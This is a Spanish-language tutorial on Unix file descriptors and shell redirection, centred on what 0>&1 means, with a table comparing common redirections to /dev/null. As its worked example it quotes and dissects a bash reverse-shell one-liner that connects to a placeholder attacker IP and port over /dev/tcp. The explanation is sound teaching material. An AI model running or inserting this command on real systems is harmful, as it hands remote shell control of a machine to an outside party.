Vamos a profundizar en el significado de 0>&1 y cómo funciona en el contexto de redirección de flujos en la terminal.
Redirección de Flujos en la Terminal
En sistemas Unix/Linux, los flujos de entrada y salida están representados por descriptores de archivo (file descriptors). Los más comunes son:
- 0: Representa la entrada estándar (
stdin). - 1: Representa la salida estándar (
stdout). - 2: Representa la salida de error estándar (
stderr).
¿Qué significa 0>&1?
El comando 0>&1 redirige el descriptor de archivo 0 (stdin) al descriptor de archivo 1 (stdout). En otras palabras, está diciendo: “Toma la entrada estándar y redirígela a la salida estándar”.
¿Cómo funciona esto en la práctica?
0>: Indica que vamos a redirigir el descriptor de archivo0(stdin).&1: Especifica que la redirección debe apuntar al descriptor de archivo1(stdout).
En el contexto de una reverse shell, como en el comando:
bash -c "bash -i >& /dev/tcp/[ip_atacante]/[puerto] 0>&1">& /dev/tcp/[ip_atacante]/[puerto]: Redirige tantostdoutcomostderra la conexión TCP.0>&1: Redirigestdinastdout, lo que significa que la entrada de la shell (lo que el atacante escribe) también se enviará a través de la conexión TCP.
Comparación con otros redireccionamientos
| Comando | Explicación |
|---|---|
<comando> 2>/dev/null | Redirige solo los errores (stderr) al “basurero” (/dev/null). |
<comando> >/dev/null | Redirige solo la salida estándar (stdout) al “basurero” (/dev/null). |
<comando> >/dev/null 2>&1 | Redirige tanto stdout como stderr al “basurero”. |
<comando> &>/dev/null | Forma abreviada de redirigir tanto stdout como stderr al “basurero”. |
<comando> 0>&1 | Redirige la entrada estándar (stdin) a la salida estándar (stdout). |
<comando> 2 → 2 hace referencia a stderr standard errors
<comando> 2>/dev/null→ Mandando todos los errores al Basurero
<comando> > → > hace referencia a stdout standard out
-
<comando> >/dev/null→ Mandando todos los outs al Basurero -
<comando> > /dev/null 2>&1→ Mandando el output al Basurero pero tambien con2>&1convertis losstderrastdout -
<comando> &> /dev/null→ Mandar al Basurero tantostderrcomostdout